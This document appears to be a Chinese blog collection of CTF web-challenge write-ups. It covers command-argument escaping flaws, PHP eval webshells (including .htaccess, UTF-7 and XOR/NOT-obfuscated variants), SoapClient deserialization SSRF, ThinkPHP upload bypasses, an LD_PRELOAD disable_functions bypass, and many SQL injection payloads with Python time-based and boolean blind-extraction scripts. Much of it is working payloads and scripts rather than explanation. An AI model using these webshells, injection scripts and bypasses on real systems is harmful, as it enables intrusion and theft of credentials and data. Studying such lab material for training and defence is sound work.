平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
根据大牛的实例测试一下该函数的功能
我们输入的反引号被成功转义了
当两个函数配合时则会有意外情况出现,原博客中的案例为
首先变量被escapeshellarg函数处理,变为
$a = '127.0.0.1'\'' -v -d a=1'
再被escapeshellcmd函数处理,变为
$a = '127.0.0.1'\\'' -v -d a=1\'#成对的单引号不转义
那么现在的指令就变为了curl '127.0.0.1'\\'' -v -d a=1\'
此时的\\
被解释为\
也就变成了curl 127.0.0.1\ -v -d a=1'
了解完了基础知识后,我们再来看面前的这道题目,如果我们采用最基本的|whoami
的话
首先escapeshellarg处理变为$host='127.0.0.1|whoami'
接着escapeshellcmd处理后变为$host='127.0.0.1\|whoami'
很明显我们的指令是无法被执行的,此时我们需要清楚一点,就是无论我们进行怎样的构造,我们都无法实现分号或者管道符的逃逸,我们就只能转换思路,从构造任意命令执行到利用nmap进行解题
在nmap的输出格式当中
我们可以使用-oG
模式完成对结果的输出,类似于 -oG cmd.php
,完成将nmap本身的扫描结果和我们的一句话木马写入cmd.php当中,如果我们将该字符串直接赋值给变量host的话
首先escapeshellarg处理变为$host=' -oG cmd.php'
接着escapeshellcmd处理后变为$host='\<\?php @eval($_POST["cmd"])\;\?\> -oG cmd.php'
,此时两侧的单引号限制了命令的执行,如果我们在两侧都加上单引号呢
首先escapeshellarg处理变为$host='\' -oG cmd.php\''
接着escapeshellcmd处理后变为$host='\\'\<\?php @eval($_POST["cmd"]);\?\> -oG cmd.php\\''
,此时前侧的单引号和分号并不重要,我们只要能保证一句话木马完整即可,但我们此时保存的文件名为cmd.php\\
,该如何解决这个问题呢,其实也很简单,我们只要在后方的单引号前加上一个空格即可,即完成了一个类似于00截断文件名的问题,paylaod:' -oG cmd.php '
,经过处理后的字符串为
'\\'\<\?php @eval($_POST["cmd"]);\?\> -oG cmd.php \\''
为什么我们能完成前侧单引号的逃逸呢,因为此时一句话木马的前侧变成了'\\'
,也就是\\
,即完成了对单引号的闭合,我们输入的字符串中的命令得到了执行,此时访问一句话木马所在的文件即可
进入题目即为用户登陆界面
观察url的格式index.php?action=login
,猜测应该有对应的注册界面,将url修改为index.php?action=register
果不其然,注册用户时需要满足特殊md5值要求的验证码,我们直接使用脚本爆破即可
尝试注册用户名为admin的用户失败
注册普通用户名的用户后进入用户界面
猜测action参数可能存在有文件包含漏洞,修改url为index.php?action=php://filter/read=convert.base64_encode/resource=index
经过测试后发现action参数的检测机制为白名单,没有漏洞利用的空间
发现publish功能
尝试xss但是尖括号被转义,此时有点一筹莫展了,回去考虑源码泄露的问题
直接获得了index.php的源码
require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
{
$action=$_GET['action'];
$allow=0;
$white_action = "delete|index|login|logout|phpinfo|profile|publish|register";
$vpattern = explode("|",$white_action);
foreach($vpattern as $key=>$value)
{
if(preg_match("/$value/i", $action ) && (!preg_match("/\//i",$action)) )
{
$allow=1;
}
}
if($allow==1)
{require_once 'views/'.$_GET['action'];}
else {
die("Get out hacker!
jaivy's laji waf.");
}
}
else
header('Location: index.php?action=login');
require_once 'views/'.$_GET['action'];
可以由该语句得到对应的文件所在位置并获得对应页面的源码,我们还可以通过文件包含的内容获取user.php
,
在/views/index
当中我们发现了可疑的语句
if($data['code']==2 && $C->is_admin ==1){
for($i=1; $i<count($data['data']); $i++)
{
$img = $data['data'][$i];
echo "
";
}
}
猜测是需要我们伪造admin身份进行登陆,但如何完成admin身份的伪造呢,我们在publish函数当中看到我们以post方式传入的变量signature
被插入了数据库当中
使用的函数为在config.php
当中定义的函数insert
,内部还调用了get_column
函数,其中get_column
起到的作用是如果我们输入的参数为数组则变成类似于`a`,`b`,`c`的格式
紧接着我们又调用了preg_replace
方法将字符串中被反引号包围的内容变成以单引号包围
综合上述的分析,我们最终在数据库中执行的语句为
insert into ctf_user_signature (`userid`,`username`,`signature`,`mood`) values (this->userid,$this->username,$_POST['signature'],$mood)
但我们传入的value有一个这样的过程
('a','b','c')
=>`a`,`b`,`c`=('a','b','c')
如果我们在注入时直接使用'
的话,也就是我们的输入类似于hello',3)#
('id','username','hello',3)#','mood')
数组中的每一个元素被修改成为用反引号包围,则变成了
`id`,`username`,`hello',3)#`,`mood`
但是在进行正则匹配时,我们的`hello’,3)#`却因为内部包含有逗号的原因无法被正则匹配到,也就导致了hello前面的反引号无法被重新转换为单引号
因此我们选择更为直接方式,采用反引号进行闭合,输入hello`,3)#
(‘id’,‘username’,‘hello`,3)#’,‘mood’)
数组中的每一个元素被修改成为用反引号包围,则变成了
`id`,`username`,`hello`,3)#`,`mood`
此时正则匹配后我们在#前的内容变成了
('id','username','hello',3)
变成了合法数据
综上所述,我们采用时间类型盲注的方式获取admin的密码,此处为正常响应时间(网速有点慢…)
可见盲注成功
编写脚本
import requests
import time
url = 'http://b46edeb8-d2ac-41e8-85cb-3b94cac99125.node2.buuoj.cn.wetolink.com:82/index.php?action=publish'
cookie={"PHPSESSID":"ni857r6gql99gg9fogcduofgm4"}
s = requests.session()
ans =''
for j in range(1,40):
for i in range(27,137):
data = {'signature':'hello`,if(ascii(substr((select password from ctf_users limit 0,1),'+str(j)+',1))='+str(i)+',sleep(5),1))#','mood':2}
t1=time.time()
c = s.post(url= url,data = data,cookies = cookie)
t2 = time.time()
if t2-t1>3:
ans = ans + chr(i)
break
print(ans)
print(j)
使用md5解密,获得admin的密码
但我们使用对应的password和username进行登陆时得到提示
回去查看对应的方法
user[2]为数据库中存储的ip地址,admin的用户ip应当为127.0.0.1
,对应allow_diff_ip
的值为0,也就是我们需要找到对应的方法实现ssrf,很容易可以联想到前几天写的利用SoapClient实现ssrf的题目,先观察一下哪里有可以实现反序列化的地方,首先我们是在login当中调用了对象C的login方法来进行登陆的,其中对象C来自于类Customer
接下来研究哪里可以让我们实现任意类的反序列化
我们在$mood
变量后调用了反序列化方法,此时还需要找到哪里调用了类中不存在的方法,很容易看到$country = $mood->getcountry();
可以实现SoapClient类__call
魔术方法的调用
我们要做的就是构造一个SoapClient类的对象完成用户用户的登陆,由于是在服务器端发出的请求,自然就可以实现伪造本地ip登陆了,直接套用一下wupco师傅的脚本了(自己写的老是测试失败,太菜了)
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=493447';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=1gnm1fs4m3ocdd227sb30es347'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
成功实现登陆orzorz
以admin身份登陆后publish页面具有文件上传的功能
直接上传最简单的一句话木马即可,查看内网网段
内网网段为172.64.108.x
一道使用thinkphp编写的文件上传题,这道题目考察的地方主要有三点,thinkphp限制文件后缀的正确用法,thinkphp的多文件上传以及thinkphp的上传后文件名生成机制。
首先我们可以看到程序内部限制文件名后缀的代码分为两部分
主要问题出现在第二部分,正确的限制thinkphp上传文件名后缀的属性应当为
也就是此条语句应当修改为$upload->exts = array('jpg', 'gif', 'png', 'jpeg');
,因此该条语句限制的后缀并不能起到应有的作用。也就是说实际上我们可以上传的文件种类有很多,我们测试上传txt文件。
访问上传功能home/index/upload
,模拟实现文件上传
可以看到txt文件被成功上传,但此时对于上传php文件的限制依旧没有被绕过,此时就需要我们用到这道题目的第二个考点了,我们可以看到此处用到的上传函数为upload
,但upload再thinkphp中代表的意思却是多文件上传也就是整个FILE数组的文件都会被上传,但是我们对文件后缀进行的check都是针对FILE数组名为file
的文件。如果我们尝试上传一个名为file1
的文件
我们发现文件上传成功但是没有返回文件上传后的文件名,其原因归结于
返回的文件名仅有file上传后的文件名,但我们测试上传的文件名为file1,自然不会回显上传过后的文件名了,此时考察的就是本题的第三个知识点,thinkphp的文件名生成机制默认为调用uniqid函数生成,即利用当前时间的微秒生成,也就是说如果我们连续上传两个文件,我们就可以爆破出下一个文件的文件名称了。
使用bp的多字节爆破功能
可以在页面的下方得到提示
猜测可能是存在有任意文件读取的漏洞,结合访问出现错误的页面可以确定这是一个apache和tomcat结合的web服务器
我们尝试利用apache访问tomcat的WEB-INF/web.xml
文件(tomcat禁止访问WEB-INF/web.xml
文件),但在尝试读取时失败
查看wp后才知道需要使用POST方式去请求读取文件
java运行过程中会将java文件编译为class文件,而此文件的存储位置默认就是在classes
路径下,我们通过servlet-class
判断出java文件的位置,我们尝试读取/WEB-INF/classes/com/wm/ctf/FlagController.class
base64解码后即可得到flag
本题会在访问页面时删除当前目录下除了index.php
的内容
而且文件名限制不能出现除了小写字母和.
的字符,也就是说我们也不能实现跨目录的文件上传,我们就只能上传文件到当前的目录下而且需要避免被删除,我们能想到的自然就是上传.htaccess
文件或者.user,ini
文件,尤其是使用.htaccess
文件的属性auto_prepend_file
将在.htaccess
文件中写入的木马加载在所有的文件之前,总的来说我们需要上传的文件内容就是
php_value auto_prepend_file ".htaccess"
#
#
后写入的内容就是我们想要写入的一句话木马,#
在.htaccess
文件中起到的作用是就是注释,但是在index.php
文件对其进行包含时会将该语句作为php语句进行解析。
但此时的问题出现了
文件的内容中不允许出现关键字file
,拜读了各位师傅的wp后了解到了有关.htaccess
文件的新知识,就是在.htaccess
文件当中可以使用\
作为连接上下两行的拼接符号,从而利用\
符号绕过关键字file
的限制,从而我们上传的.htaccess
文件内容应当是
php_value auto_prepend_fi\
le ".htaccess"
#\
后面的\
拼接了Just one chance
,即我们的.htaccess
文件完成拼接后的内容为
php_value auto_prepend_file ".htaccess"
#\Just one chance
后面用于污染的Just one chance
被前面的#
一同注释掉了
这里需要我们注意的是我们传入文件内容需要url编码后再传入,否则会导致服务器解析错误,第一次以GET方式传入?filename=.htaccess&content=php_value%20auto_prepend_fi%5c%0ale%20%22.htaccess%22%0a%23%3c%3fphp%20%40eval(%24_GET%5b'cmd'%5d)%3b%20%3f%3e%5c
,完成文件的写入
之后我们直接访问index.php
即可
接下来我们测试本题的预期解法,该解法的关键就是观察到了包含进去的f13g.php
文件,我们在一开始忽略他的原因主要是他会在访问目录后会删除该目录下的所有文件,因此就没有想到利用该文件做些文章,在师傅的wp中我们了解到.htaccess
中的参数include_path
,该参数可以指定一个目录列表,其中require(),include(),fopen(),readfile()和file_get_contents()函数在查找对应的文件时,会检测我们在.htaccess
中设置的include_path
属性中的路径是否存在该文件,因此通过该属性可以在别的目录当中包含文件,比如我们可以在tmp目录当中上传一个名为f13g.php
的文件,然后在.htaccess
中设置include_path
为/tmp
,我们在调用语句include_once("fl3g.php");
时则会自动到tmp目录下寻找对应的文件进行包含。
到这里问题便成为了如何上传f13g.php
到达tmp目录下,我们都知道我们无法上传特殊符号/
在文件名中,也就是说我们无法实现直接的跨目录上传,此时的解决办法是利用.htaccess
文件当中的属性error_log
,若将该属性设置为/tmp/f13g.php
的话,一旦出现错误的话就会将报错的信息写入/tmp/f13g.php
当中。
毫无疑问我们想要传入到/tmp/f13g
中的内容应当是一句话木马,这里师傅们的方法是先设置php_value include_path ""
,这样的话我们在调用文件包含时无法找到文件/f13g.php
,因此会将该路径(即一句话木马)写入报错日志当中,但此时又出现了问题,我们写入报错日志中的内容会被html实体编码转义,换句话说就是我们传入的shell不能出现<>
。
这里我们采用的方法是利用UTF-7编码进行绕过,可以看到原来的一句话木马被UTF-7编码后<>
均被编码
+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs
最终的流程分为两步
查看源页面源代码,跳转到隐藏链接
点击SECRET
应该是302跳转的题目,bp抓包
访问直接给出了源码
直接GET方式传入变量file
,值为flag.php
结合到文件包含include,应该是结合php://filter
协议流读取目标文件内容file=php://filter/read=convert.base64-encode/resource=flag.php
考虑源码泄露问题,用王一航大佬的脚本扫一下
下载源码包,截取一下核心部分的代码
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
明显是需要修改序列化后类中属性的个数对__wakeup()
魔术方法,由于是私有属性在序列化的时候要注意url编码的问题
class Name{
private $username = 'admin';
private $password = 100;
}
$a = new Name();
var_dump(serialize($a));
?>
生成后寻找下触发反序列化的点
在index.php
中传入参数select
,注意将反序列化后属性的个数由2修改为3即可绕过wakeup
魔术方法select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bi%3A100%3B}
直接就有shell了。。。
union联合注入
-1' union select 1,2,3#
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3#
-1' union select 1,(select group_concat(password) from l0ve1ysq1),3#
将cookie中的user
由0修改为1
password使用%00
截断绕过is_numeric
money参数的位数有限制,直接科学计数法9e99
即可
双写绕过部分关键字即可
-1' ununionion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),3#
-1' ununionion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),3#
-1' ununionion seselectlect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3#
一道文件上传的题目,老规矩先上传个最基本的一句话木马,看看有什么限制
多次尝试过后发现主要的限制有文件后缀名限制(使用上传phtml文件绕过限制);
文件内容不允许出现(使用上传特殊的一句话木马绕过限制
);
添加特殊文件头绕过exif_imagetype的校验,其中jpg图像的标识头为ff d8 ff e0 00 10 4a 46 49 46 00 01
上传后到upload目录下即可找到上传后的文件
直接getshell即可
几次测试后发现几个重要的符号,union
,空格等都被直接禁用了,测试过后发现extractvalue
等报错注入函数还可以使用。但用于连接参数和函数的and
和or
等都被禁用了,用于替代的||
和&&
也被禁用了,此时想到使用表示异或的^
没有被禁用,使用^
连接参数和函数即可使用报错注入。
1'^extractvalue(1,concat(0x7e,(@@version),0x7e))#
开始注入出表名时才发现=
被禁用了,使用regexp
和like
进行替代
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x7e))#
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e))#
依旧是对password
列进行查询,但此时出现了问题
xpath的报错注入存在有位数限制,我们无法看到flag的后半段,此时想到了使用left和right截取查询内容的前后各多少位完成flag的完整读取
1%27^extractvalue(1%2Cconcat(0x7e%2Cleft((select(group_concat(password))from(H4rDsq1)),32)%2C0x7e))%23
1%27^extractvalue(1%2Cconcat(0x7e%2Cright((select(group_concat(password))from(H4rDsq1)),32)%2C0x7e))%23
看到这个题目之后感觉很像SUCTF2019的一道题,直接用当时异或不可见字符的exp打一发
?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
拿到了phpinfo后才发现并不是要我们执行某一个函数就可以拿到flag,需要我们再想办法getshell。
首先尝试构造eval($_POST['cmd']);
,但执行后却发现会报服务器500的错误,查看别的师傅的payload后发现eval
是不能作为动态函数的执行的,因此需要构造assert
作为动态函数执行,整体的构造过程为:
1.先定义一个变量_
$_=%9e%8c%8c%9a%8d%8b^%ff%ff%ff%ff%ff%ff
即$_=assert
2.构造_POST
%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff
3.构造assert($_POST[__];
$_(${%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff}{__});
总结下来就是
?code=$_%3d%9e%8c%8c%9a%8d%8b^%ff%ff%ff%ff%ff%ff;$_(${%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff}{__});
这里还可以用到php中按位取反(~)的操作大大缩短字符的长度
?code=$_%3d~%9E%8C%8C%9A%8D%8B;$_(${~%A0%AF%B0%AC%AB}{__});
同样也可以起到一样的作用
拿到了shell之后直接在根目录下找到了flag
文件但是无法进行读取,同时发现了一个可执行程序readflag
,在phpinfo
当中发现了禁用了一系列命令执行函数,在无法进行命令执行的前提下调用系统程序自然就可以联想到使用LD_PRELOAD
与putnev
绕过disable_function
,但前提是我们需要上传对应的so
文件和php
文件才可以。
需要实现文件上传的功能就需要我们使用蚁剑连接后才能上传文件,但经过测试我们只能上传到/tmp
目录下,我们使用蚁剑连接的前提就是在/var/www/html
目录下存在有shell文件。经过考虑过后我想到了可以先写包含有一句话木马的shell.php
到tmp目录下,执行的命令为
可以看到我们的一句话木马已经写入到了/tmp/shell.php
中了
随后我们在蚁剑的请求信息中使用include
包含/tmp/shell.php
即可完成连接
完成连接后上传对应的php
和so
文件后即可完成readflag
的调用
本题当中出现了和前几道sql注入题目不一样的选择框,分别控制了不同的id参数,在此基础上我们还是针对用户名和密码进行了注入测试,发现注入的waf更加严密,甚至直接禁用了'
。换言之就是我们很难再利用username
和password
参数进行sql注入了,结合给出的参数id
和题目标题的SQL盲注,测试一下利用id
进行SQL盲注。
id=(1=1)
时返回了id=1
时的回显
id=(1=2)
时返回了id=0
时的回显
我们即可以构造对应的payload对数据库内容进行读取,由于and
和or
被禁用了,我们使用异或符号进行代替。由于我们使用1作为异或的一侧,也就是说当注入语句为真时会出现1^1
也就是返回id=0时的情况,我们即可以根据返回内容中包含有ERROR
来判断注入语句正确,直接贴脚本了
import requests
s=requests.session()
ans=''
for i in range(1,1000):
print(i)
for j in range(37,127):
#url = "http://025705db-9712-455c-a046-9684a61ed6da.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),"+str(i)+",1))="+str(j)+")"
#url = "http://025705db-9712-455c-a046-9684a61ed6da.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),"+str(i)+",1))="+str(j)+")"
url = "http://025705db-9712-455c-a046-9684a61ed6da.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),"+str(i)+",1))="+str(j)+")"
c=s.get(url)
if 'ERROR' in c.text:
ans=ans+chr(j)
print('ans',ans)
break
尝试注册admin用户发现已经被注册了,随后注册一个名为guest的普通用户
有申请发布广告的功能
一看就摆出来XSS的架势,直接那最简单的payoad发布个广告
完成了弹框
有一个状态栏为待管理确认,常规的思路应该是等待管理确认后窃取admin的cookie完成身份伪造,但过了很久管理都没有确认。。。
只好转变思路,尝试发布了一个名为1'
的广告后查看广告详情
发现了报错信息,本题有可能是一个考察二次注入的问题,即发布广告的名字为注入语句,在查询详细信息的时候会在数据库中查询对应广告的名字,再执行查询语句的过程
还有waf,应该是二次注入没错了。经过测试后表示闭合的#
和--
以及空格,但我们可以在结尾添加'
同样起到闭合的作用,空格也可以使用/**/
。
例如-1'/**/union/**/select/**/1,2,'3
对列数进行测试(order by 貌似被禁用了)
不得不吐槽一下这个列数真的好蛋疼,测试到22列时得到回显
注入出数据库名,-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
但是在接下来的查询中发现了由于彻底禁用了or也就意味着我们无法使用information_schema.tables
进行下一步的查询了,这里用到了两个知识点,先贴一下学习连接
https://zhuanlan.zhihu.com/p/98206699
首先是除了information_schema
库当中存在有mysql当中所有表的结构,还有INNODB_TABLES
以及INNODB_CILUMNS
中存在有表结构,因此对于表名的查询,我们可以使用select group_concat(table_name) from mysql.innodb_table_stats
对表名进行查询-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
也可以使用-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
对表名进行查询
接下来就是无列名查询的问题了,在没有列名的情况下如何将数据带出,先做个测试
首先查询出test_table
中所有的数据
如果我们的查询为select 1,2,3,4 union select * from test_table
的话
可以发现我们的列名被替换为了对应的1,2,3,4
,如果我们查询第三列的话select `3` form (select 1,2,3,4 union select * from test_table)a;
可以看到我们在不使用sex
列名的前提下顺利查询出对应的数据,也就是所谓的无列名查询了,简单的理解一下就是我们使用(select 1,2,3,4 union select * from test_table)
自定义了一个新的数据表,其对应的列名就是我们查询时使用的1,2,3,4
,末尾的a就是我们自定义的数据表的表名,即select `3` from a;
而这个a
就是列名为1,2,3,4
的数据表。
在不能使用反引号的情况下我们使用别名进行代替
我们将第四列起了一个别名叫做aaa
对应查询出的数据也就是第四列的数据,有了这些基础就可以直接完成数据的读取-1'/**/union/**/select/**/1,(select(group_concat(aaa))from(select/**/1,2,3/**/as/**/aaa/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22